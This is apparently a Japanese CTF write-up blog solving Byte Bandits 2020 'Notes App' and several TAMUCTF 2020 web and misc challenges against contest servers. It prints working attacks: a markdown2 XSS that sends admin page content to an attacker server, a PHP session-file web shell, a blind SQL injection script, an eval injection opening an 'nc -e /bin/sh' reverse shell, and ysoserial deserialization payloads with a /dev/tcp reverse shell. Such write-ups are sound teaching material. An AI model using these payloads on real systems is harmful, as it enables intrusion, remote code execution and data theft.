Byte Bandits CTF 2020 Writeup - Notes App
Question
noob just created a secure app to write notes. Show him how secure it really is! https://notes.web.byteband.it/
Solution
調査
ソースコードが添付されている。
main.pyのみ、以下に転記する。
import os from flask import Flask, render_template, request, flash, redirect from flask_sqlalchemy import SQLAlchemy from flask_login import LoginManager from flask_login import login_required, logout_user, current_user, login_user import markdown2 import requests from .models import User from . import db, create_app, login_manager from .visit_link import q, visit_url app = create_app() # configure login_manager {{{1 # @login_manager.user_loader def load_user(user_id): """Check if user is logged-in on every page load.""" if user_id is not None: return User.query.get(user_id) return None @login_manager.unauthorized_handler def unauthorized(): """Redirect unauthorized users to Login page.""" flash('You must be logged in to view that page.') return redirect("/login") # 1}}} # # configure routes {{{1 # @app.route("/") def index(): if current_user.is_authenticated: return redirect("/profile") return render_template("index.html") @app.route("/register", methods = ["GET", "POST"]) def register(): if current_user.is_authenticated: return redirect("/profile") if request.method == 'POST': # register user id = request.form.get('username') password = request.form.get('password') existing_user = User.query.filter_by(id = id).first() # Check if user exists if existing_user is None: user = User(id = id) user.set_password(password) user.notes = "" db.session.add(user) db.session.commit() # Create new user login_user(user) # Log in as newly created user return redirect("/profile") flash('A user already exists with that name already exists.') return redirect("/register") return render_template("register.html") @app.route("/login", methods = ["GET", "POST"]) def login(): if current_user.is_authenticated: return redirect("/profile") if request.args.get("username"): # register user id = request.args.get('username') password = request.args.get('password') user = User.query.filter_by(id = id).first() if user and user.check_password(password = password): login_user(user) return redirect("/profile") flash('Incorrect creds') return redirect("/login") return render_template("login.html") @app.route("/visit_link", methods=["GET", "POST"]) def visit_link(): if request.method == "POST": url = request.form.get("url") token = request.form.get("g-recaptcha-response") r = requests.post("https://www.google.com/recaptcha/api/siteverify", data = { 'secret': os.environ.get('RECAPTCHA_SECRET'), 'response': token }) if r.json()['success']: job = q.enqueue(visit_url, url, result_ttl = 600) flash("Our admin will visit the url soon.") return render_template("visit_link.html", job_id = job.id) else: flash("Recaptcha verification failed") return render_template("visit_link.html") @app.route("/status") def status(): job_id = request.args.get('job_id') job = q.fetch_job(job_id) status = job.get_status() return render_template("status.html", status = status) @app.route("/profile") @login_required def profile(): return render_template("profile.html", current_user = current_user) @app.route("/update_notes", methods=["POST"]) @login_required def update_notes(): # markdown support!! current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True) db.session.commit() return redirect("/profile") @app.route("/logout") @login_required def logout(): logout_user() return redirect("/") # 1}}} #
以下の機能を持つ。
- /register ユーザ登録
- /login ログイン
- /visit_link 管理者へリンクを送信(その後、管理者がURLへアクセスする)
- /status 管理者がURLへアクセスしたかどうか確認
- /profile 自分のプロファイルを表示
- /update_notes 自分のプロファイルを更新
- /logout ログアウト
フラグは管理者のプロファイルに記録されている。
管理者にXSSを仕掛けた画面にアクセスせて、管理者のプロファイルを窃取する方法を考える。
XSS
プロファイルはマークダウン記法で投稿可能。
markdown2でHTMLに変換している。
@app.route("/update_notes", methods=["POST"]) @login_required def update_notes(): # markdown support!! current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True) db.session.commit() return redirect("/profile")
requirements.txtを確認すると、markdown2==2.3.8
。最新版を使用している。
しかし、githubのissueを見ると、未修正のXSSの脆弱性が残っていることがわかる。
<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
自分のプロファイルに設定してみる。
アラート表示に成功。
これで管理者を自分のプロファイル画面へ誘導すれば、任意のスクリプトが実行できる。
プロファイル画面への誘導
@app.route("/profile") @login_required def profile(): return render_template("profile.html", current_user = current_user)
/profile
にアクセスすると、現在ログインしているユーザのプロファイルを表示する実装である。
当然だが、管理者に/profile
へアクセスさせても、管理者が自身のプロファイル(フラグ)を表示するだけである。
ここで/login
のソースを確認する。
@app.route("/login", methods = ["GET", "POST"]) def login(): if current_user.is_authenticated: return redirect("/profile") if request.args.get("username"): # register user id = request.args.get('username') password = request.args.get('password') user = User.query.filter_by(id = id).first() if user and user.check_password(password = password): login_user(user) return redirect("/profile") flash('Incorrect creds') return redirect("/login") return render_template("login.html")
GETでusernameとpasswordを受け付けており、ログイン後に/profile
に自動遷移している。
よって、管理者に/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>
へアクセスさせれば、攻撃者のプロファイル画面に誘導できる。ただし、ログイン状態で/login
にアクセスすると、再ログイン処理をせずに/profile
に自動遷移するため、事前に/logout
へアクセスさせる必要がある。
exploit作成
管理者に、攻撃者のアカウントでログインさせた後では、管理者のプロファイルの画面を再表示できない。 よって、事前にiframeで管理者のプロファイル画面を表示させて、別のiframeでログアウトと攻撃者のアカウントへのログインをさせればよい。 そのようなHTMLを自サーバに用意する。
リクエストの順序が重要であるため、3秒間待つ。setTimeoutだとうまくいかなかったため、無理やりsleepさせる。
<html> <head> <script> function sleep(waitMsec){ var startMsec = new Date(); while (new Date() - startMsec < waitMsec); } window.addEventListener('load', function() { var adminframe = document.createElement("iframe"); adminframe.name = "adminframe"; adminframe.src = "https://notes.web.byteband.it/profile"; var body = document.querySelector("body"); body.appendChild(adminframe); sleep(3000); var logoutframe = document.createElement("iframe"); logoutframe.src = "https://notes.web.byteband.it/logout"; body.appendChild(logoutframe); sleep(3000); var loginframe = document.createElement("iframe"); loginframe.src = "https://notes.web.byteband.it/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>"; body.appendChild(loginframe); }, false); </script> </head> </html>
攻撃者のプロファイル画面には、管理者のプロファイル画面が表示されているadminframe
のコンテンツを取得して、攻撃者のサーバに送るスクリプトを仕掛ける。親フレームのHTMLは攻撃者のドメインだが、参照先のadminframe
フレームは出題サーバと同じドメインであるため、クロスドメインにはならない。
<http://g<!s://q?<!-<[<script>location.href='http://<myserver>?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>
準備ができたら、管理者に自サーバのHTMLのリンク先を送信する。
アクセスが来た。
?q=CgkJCjxkaXYgY2xhc3M9Imhlcm8gaXMtZnVsbGhlaWdodCBpcy1jZW50ZXJlZCBpcy12Y2VudGVyZWQgaXMtcHJpbWFyeSI Cgk8ZGl2IGNsYXNzPSJoZXJvLWhlYWQiPgoJCTxuYXYgY2xhc3M9Im5hdmJhciI CgkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI CgkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPgoJCQkJCTxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZiYXItaXRlbSI CgkJCQkJCU15Tm90ZXMKCQkJCQk8L2E CgkJCQk8L2Rpdj4KCQkJCTxkaXYgY2xhc3M9Im5hdmJhci1tZW51Ij4KCQkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItZW5kIj4KCQkJCQkJPHNwYW4gY2xhc3M9Im5hdmJhci1pdGVtIj4KCQkJCQkJCTxhIGhyZWY9Ii9sb2dvdXQiIGNsYXNzPSJidXR0b24gaXMtcHJpbWFyeSBpcy1pbnZlcnRlZCI CgkJCQkJCQkJPHNwYW4 TG9nb3V0PC9zcGFuPgoJCQkJCQkJPC9hPgoJCQkJCQk8L3NwYW4 CgkJCQkJPC9kaXY CgkJCQk8L2Rpdj4KCQkJPC9kaXY CgkJPC9uYXY Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9Imhlcm8tYm9keSBjb2x1bW5zIGlzLWNlbnRlcmVkIGhhcy10ZXh0LWNlbnRlcmVkIj4KCQk8ZGl2IGNsYXNzPSJjb2x1bW4gaXMtNCI CgkJCTxkaXYgY2xhc3M9InRpdGxlIj4KCQkJCUhvd2R5IGFkbWluIQoJCQk8L2Rpdj4KCQkJPCEtLSBzbyB0aGF0IHVzZXIgY2FuIHdyaXRlIGh0bWwgLS0 CgkJCTxwPglmbGFne2NoNDFuX3RIeV8zWHBsb2l0c190MF93MW59IDwvcD4KCQkJPGJyPgoJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iL3VwZGF0ZV9ub3RlcyI CgkJCQk8dGV4dGFyZWEgY2xhc3M9InRleHRhcmVhIiBuYW1lPSJub3RlcyIgcGxhY2Vob2xkZXI9IldyaXRlIHNvbWV0aGluZyBoZXJlIj48L3RleHRhcmVhPgoJCQkJPGlucHV0IGNsYXNzPSJidXR0b24gaXMtZnVsbHdpZHRoIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIG5hbWU9IiI CgkJCTwvZm9ybT4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KCgo8Zm9vdGVyIGNsYXNzPSJmb290ZXIiPgogIDxkaXYgY2xhc3M9ImNvbnRlbnQgaGFzLXRleHQtY2VudGVyZWQiPgogICAgPHA CiAgICAgIDxzdHJvbmc TXlOb3Rlczwvc3Ryb25nPiBieSBuMG9iLgogICAgPC9wPgogIDwvZGl2Pgo8L2Zvb3Rlcj4KCg==
BASE64デコードする。+がスペースになっているため戻しておく必要がある。
<div class="hero is-fullheight is-centered is-vcentered is-primary"> <div class="hero-head"> <nav class="navbar"> <div class="container"> <div class="navbar-brand"> <a href="/" class="navbar-item"> MyNotes </a> </div> <div class="navbar-menu"> <div class="navbar-end"> <span class="navbar-item"> <a href="/logout" class="button is-primary is-inverted"> <span>Logout</span> </a> </span> </div> </div> </div> </nav> </div> <div class="hero-body columns is-centered has-text-centered"> <div class="column is-4"> <div class="title"> Howdy admin! </div> <!-- so that user can write html --> <p> flag{ch41n_tHy_3Xploits_t0_w1n} </p> <br> <form method="post" action="/update_notes"> <textarea class="textarea" name="notes" placeholder="Write something here"></textarea> <input class="button is-fullwidth" type="submit" value="Update" name=""> </form> </div> </div> </div> <footer class="footer"> <div class="content has-text-centered"> <p> <strong>MyNotes</strong> by n0ob. </p> </div> </footer>
フラグゲット。
flag{ch41n_tHy_3Xploits_t0_w1n}
TAMUCTF 2020 Writeup - Web + Misc
久しぶりのCTF。
TAMUCTF2020のWeb問題を全完したのでwriteupを書く。ついでにMISCも2問ほど。
手頃な難易度でした。
- CREDITS
- TOO_MANY_CREDITS_1
- FILESTORAGE
- PASSWORD_EXTRACTION
- MENTALMATH
- TOO_MANY_CREDITS_2
- GEOGRAPHY
- NOT_SO_GREAT_ESCAPE
CREDITS
Question
Try testing out this new credit system that I just created! http://credits.tamuctf.com/ Hint: Credit generation is rate limited. It is literally impossible to generate 2,000,000,000 credits within the CTF timeframe. Don't be that guy.
ログイン前
ログイン後
Solution
Generate credit!ボタンを押すと1クレジット増えるシステム。クレジットを増やしてFlagを購入できると勝ち。
リクエストを見ると、increment=1
を送信している。2000000000に改ざんしてクレジットを一気に増やしてフラグを購入する。
gigem{serverside_53rv3r5163_SerVeRSide}
TOO_MANY_CREDITS_1
Question
Okay, fine, there's a lot of credit systems. We had to put that guy on break; seriously concerned about that dude. Anywho. We've made an actually secure one now, with Java, not dirty JS this time. Give it a whack? If you get two thousand million credits again, well, we'll just have to shut this program down. http://toomanycredits.tamuctf.com
Solution
Get Moreボタンを押すと1クレジット増えるシステム。
Cookieに、Base64文字列がセットされており、押下ごとに変化する。
root@kali:~# curl -v http://toomanycredits.tamuctf.com/ * Trying 34.208.211.186:80... * TCP_NODELAY set * Connected to toomanycredits.tamuctf.com (34.208.211.186) port 80 (#0) > GET / HTTP/1.1 > Host: toomanycredits.tamuctf.com > User-Agent: curl/7.69.0-DEV > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Server: nginx/1.16.1 < Date: Fri, 20 Mar 2020 14:22:06 GMT < Content-Type: text/html;charset=UTF-8 < Content-Length: 454 < Connection: keep-alive < Set-Cookie: counter="H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA=="; Version=1; HttpOnly < Content-Language: en-US < <!DOCTYPE HTML> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <title>Java Credits</title> </head> <body> <main role="main"> <form> <h2> <span>You have 1 credits.</span> <span> You haven't won yet...</span> </h2> <button type="submit">Get More</button> </form> </main> </body> </html>
デコードするとgzipで圧縮されたデータのようなので、それも展開すると、Javaのシリアライズされたオブジェクトのようだ。
SerializationDumperで確認する。
github.com
root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020# echo -n H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA== | base64 -d | gzip -d > 1credit.ser root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020# java -jar /opt/SerializationDumper/SerializationDumper.jar -r ./1credit.ser STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 45 - 0x00 2d Value - com.credits.credits.credits.model.CreditCount - 0x636f6d2e637265646974732e637265646974732e637265646974732e6d6f64656c2e437265646974436f756e74 serialVersionUID - 0x32 09 db 12 14 09 24 47 newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Long - L - 0x4a fieldName Length - 5 - 0x00 05 Value - value - 0x76616c7565 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.credits.credits.credits.model.CreditCount values value (long)1 - 0x00 00 00 00 00 00 00 01
同パッケージの同名クラスを作成して、多額のクレジットを持ったインスタンスを生成して、シリアライズする。
serialVersionUIDを合わせないと、サーバ側でデシリアライズ時に弾かれるので注意。
package com.credits.credits.credits.model; import java.io.Serializable; import java.math.*; public class CreditCount implements Serializable { private static final long serialVersionUID = 3605653847378830407L; long value; public CreditCount(){ this.value = Long.MAX_VALUE - 1; } }
シリアライズするクラスは以下のとおり。
package com.credits.credits.credits.model; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.io.FileNotFoundException; import java.io.IOException; public class SerializeTest { public static void main(String[] args) { try { ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("CreditCount.ser")); CreditCount creditCount = new CreditCount(); o.writeObject(creditCount); o.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
コンパイルして、GZIP圧縮およびBASE64エンコードしてCookieにセットする。
root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# javac com/credits/credits/credits/model/*.java root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# java com.credits.credits.credits.model.SerializeTest root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# gzip -c CreditCount.ser | base64 -w0 H4sICOMkd14AA0NyZWRpdENvdW50LnNlcgBb85aBtbiIQTc5P1cvuSg1JbOkGIPOzU9JzdFzBvOc80vzSow4bwuJcKq4MzEwejGwliXmlKZWFNT/B4N/AB/mH3VSAAAA root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# curl toomanycredits.tamuctf.com -b "counter=H4sICOMkd14AA0NyZWRpdENvdW50LnNlcgBb85aBtbiIQTc5P1cvuSg1JbOkGIPOzU9JzdFzBvOc80vzSow4bwuJcKq4MzEwejGwliXmlKZWFNT/B4N/AB/mH3VSAAAA" <!DOCTYPE HTML> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <title>Java Credits</title> </head> <body> <main role="main"> <form> <h2> <span>You have 9223372036854775807 credits.</span> <span> gigem{l0rdy_th15_1s_mAny_cr3d1ts}</span> </h2> <button type="submit">Get More</button> </form> </main> </body> </html>
gigem{l0rdy_th15_1s_mAny_cr3d1ts}
なお、valueをLong.MAX_VALUE - 1;
にしている理由は、サーバ側のインクリメント処理でオーバーフローして、大金持ちが一転して多額の借金を抱える羽目になるのを防ぐためである。
FILESTORAGE
Question
Try out my new file sharing site! http://filestorage.tamuctf.com
ログイン前
ログイン後
Solution
最初に任意の名前を入力してログインする。
その後の画面にディレクトリトラバーサルの脆弱性がある。
PHPのセッションファイルを指定可能であるため、nameにPHPのコードをセットしてからセッションファイルを読ませると、セッションファイル内のnameの部分でコード実行できる。
最初に、cmdパラメータをそのままOSコマンドとして実行するコードをnameに設定する。
root@kali:~/node_work# curl http://filestorage.tamuctf.com/index.php -d 'name=<?php system($_GET["cmd"]);?>' -v * Trying 34.208.211.186:80... * TCP_NODELAY set * Connected to filestorage.tamuctf.com (34.208.211.186) port 80 (#0) > POST /index.php HTTP/1.1 > Host: filestorage.tamuctf.com > User-Agent: curl/7.69.0-DEV > Accept: */* > Content-Length: 34 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 34 out of 34 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Server: nginx/1.16.1 < Date: Sat, 21 Mar 2020 03:50:13 GMT < Content-Type: text/html; charset=UTF-8 < Content-Length: 568 < Connection: keep-alive < X-Powered-By: PHP/7.3.15 < Set-Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6; path=/ < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < <html> <head> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> </head> <body> Hello, <?php system($_GET["cmd"]);?><br><ul class="list-group mx-2"><li class="list-group-item my-1"><a href='?file=beemovie.txt'>beemovie.txt</a></li><li class="list-group-item my-1"><a href='?file=hello.txt'>hello.txt</a></li><li class="list-group-item my-1"><a href='?file=pi.txt'>pi.txt</a></li></ul> </body> </html> * Connection #0 to host filestorage.tamuctf.com left intact
ls
コマンドを実行。うまくいっているようだ。
root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls" --output - <html> <head> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> </head> <body> <a class="btn btn-primary" href="index.php" role="button">🡄 Go back</a><br>name|s:29:"files index.html index.php "; </body> </html>
/
ディレクトリにflag_is_here
ディレクトリを発見。
root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls%20/" --output - <html> <head> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> </head> <body> <a class="btn btn-primary" href="index.php" role="button">🡄 Go back</a><br>name|s:29:"bin dev etc flag_is_here home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var "; </body> </html> root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls%20/flag_is_here" --output - <html> <head> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> </head> <body> <a class="btn btn-primary" href="index.php" role="button">🡄 Go back</a><br>name|s:29:"flag.txt "; </body> </html>
flag.txtファイルを表示する。
root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=cat%20/flag_is_here/flag.txt" --output - <html> <head> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> </head> <body> <a class="btn btn-primary" href="index.php" role="button">🡄 Go back</a><br>name|s:29:"gigem{535510n_f1l3_p0150n1n6}"; </body> </html>
gigem{535510n_f1l3_p0150n1n6}
PASSWORD_EXTRACTION
Question
The owner of this website often reuses passwords. Can you find out the password they are using on this test server? http://passwordextraction.tamuctf.com You do not need to use brute force for this challenge.
Solution
usernameでBlind SQL Injectonが可能。
information_schemaからテーブル名を取得し、password列を取得。列名は画面の項目名と同じだった。
実行結果はソースコードのコメントに記載。
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string import time URL = 'http://passwordextraction.tamuctf.com/login.php' target = "" def trace_request(req): print("[+] request start") print('{}\n{}\n\n{}'.format( req.method + ' ' + req.url, '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), req.body, )) print("[+] request end") def trace_response(res): print("[+] response start") print('{}\n{}\n\n{}'.format( res.status_code, '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()), res.content, )) print("[+] response end") def challenge(offset, guess): req = requests.Request( 'POST', URL, data={ #"username" : "' or ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 0,1),{},1)) < {} #".format(offset + 1, guess), #Output: #[+] target: accounts "username" : "' or ASCII(SUBSTRING((select password from accounts limit 0,1),{},1)) < {} #".format(offset + 1, guess), #Output: #[+] target: gigem{h0peYouScr1ptedTh1s} "password" : "aaaa" } ) prepared = req.prepare() #trace_request(prepared) session = requests.Session() #start = time.time() # TimeBased用 res = session.send(prepared, allow_redirects = False) #elapsed_time = time.time() - start # TimeBased用 #trace_response(res) if "successfully" in res.content.decode("utf-8"): return True # 取得したい文字の文字コードは予想文字の文字コードより小さい else: return False # 取得したい文字の文字コードは予想文字の文字コード以上 def binarySearch(offset): low = 0 high = 256 while low <= high: guess = (low + high) // 2 is_target_lessthan_guess = challenge(offset, guess) if is_target_lessthan_guess: high = guess else: low = guess if high == 1: return -1 elif high - low == 1: return low while True: code = binarySearch(len(target)) if code == -1: break target += chr(code) print("[+] target: " + target) print("[+] target: " + target)
gigem{h0peYouScr1ptedTh1s}
MENTALMATH
Question
My first web app, check it out! http://mentalmath.tamuctf.com Hint: I don't believe in giving prizes for solving questions, no matter how many!
Solution
簡単な数式が出されて、正解すると次の問題が出題されるWebサイト。
リクエストを観察すると、項目入力の都度、problemに数式、answerに入力値をセットし、送信している。
root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=9*91' -d 'answer=819' {"correct": true, "problem": "23 - 29"} root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=9*91' -d 'answer=811' {"correct": false}
サーバ側で、problemをevalのような関数に渡していると推測。
root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=ord("a")' -d 'answer=97' {"correct": true, "problem": "10 * 56"} root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=ord("b")' -d 'answer=97' {"correct": false}
ビンゴ。
リバースシェルを張るコードを送り込む。
root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' \ -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \ -H "X-Requested-With: XMLHttpRequest" \ -d 'answer=97' -d 'problem=__import__("os").system("nc -e /bin/sh <myserver> <port>")'
接続が来た。
root@ip-172-31-6-71:/opt/vim# nc -nvlp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 34.208.211.186 37674 received! ls db.sqlite3 flag.txt manage.py mathgame mentalmath requirements.txt cat flag.txt gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}
gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}
TOO_MANY_CREDITS_2
Question
Even if you could get the first flag, I bet you can't pop a shell! http://toomanycredits.tamuctf.com
Solution
TOO_MANY_CREDITS_2の続き。 問題文より、shellを取れば勝ちのようだ。
Javaのシリアライズといえばysoserial。
github.com
エラーメッセージに「Whitelabel Error Page」と出力されている。Springフレームワークのようだ。 Spring用のペイロードが使用できそうだ。
以下のシェルスクリプトを実行し、ncコマンドで自サーバにコネクトバックを試すと接続が来た。 (コメントアウトしている部分は総当たり用。今回はSpringと分かっている。)
#!/bin/sh command="nc <myserver> <port>" #for Payload in BeanShell1 C3P0 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Wicket1 for Payload in Spring1 do echo ${Payload} counter=`java -jar ysoserial-master-SNAPSHOT.jar ${Payload} "${command}" | gzip -c | base64 -w0` echo ${counter} curl toomanycredits.tamuctf.com -H "Accept: text/html" -b "counter=${counter}" done
しかし、リバースシェルが張れない。
調べると、以下の記事がHIT。少し改造が必要なようだ。
medium.com
gitからソースコードを取得して改造する。
src/main/java/ysoserial/payloads/util/Gadgets.java
//String cmd = "java.lang.Runtime.getRuntime().exec(\"" + // command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + // "\");"; String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\"}).waitFor();";
dockerを使用してコンパイルする。
root@kali:/opt/ysoserial# docker build ./ -t ysoserial Sending build context to Docker daemon 793.6kB (snip) Successfully built 77a3baf72e1d Successfully tagged ysoserial:latest
dockerでコンパイルしたysoserialを使用するよう、シェルスクリプトを手直しして実行する。
#!/bin/sh command="exec 5<>/dev/tcp/<myserver>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done" #for Payload in BeanShell1 C3P0 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Wicket1 for Payload in Spring1 do echo ${Payload} counter=`docker run ysoserial ${Payload} "${command}" | gzip -c | base64 -w0` echo ${counter} curl toomanycredits.tamuctf.com -H "Accept: text/html" -b "counter=${counter}" done
リバースシェルを張れた。
ubuntu@ip-172-31-6-71:~$ nc -lnvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 34.208.211.186 59288 received! ls bin flag.txt lib cat flag.txt gigem{da$h_3_1s_A_l1f3seNd}
gigem{da$h_3_1s_A_l1f3seNd}
GEOGRAPHY
Question
My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111.
She's always been a bit cryptic. She told me to "surround with gigem{} that which can be seen from a bird's eye view"... what?
Solution
floatに変換。
>>> struct.unpack('>f', 0b11000010100011000111111111101110.to_bytes(4, byteorder='big')) (-70.24986267089844,) >>> struct.unpack('>f', 0b11000001100101000011101111011111.to_bytes(4, byteorder='big')) (-18.529233932495117,)
緯度・経度のようになった。
https://www.google.com/maps/search/-18.529233932495117+-70.24986267089844
GoogleMap上で、コカ・コーラの地上絵らしきものを発見。
gigem{Coca-Cola}
NOT_SO_GREAT_ESCAPE
Question
We've set up a chroot for you to develop your musl code in. It's bare, so install whatever you need.
Feel free to log in with a raw TCP socket at challenges.tamuctf.com:4353.
The password is "(snip)"
Solution
まずはncで接続する。
root@kali:~# nc challenge.tamuctf.com 4353 Password: 2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e / # ^[[37;5Rpwd pwd /
少々、文字が化けているが、接続できた。
問題文より、chrootから脱獄する問題だと予想。
以下の記事を参考にする。
inaz2.hatenablog.com
自サーバで実行ファイルを作成し、問題サーバからダウンロードできるようにWebサーバに公開。
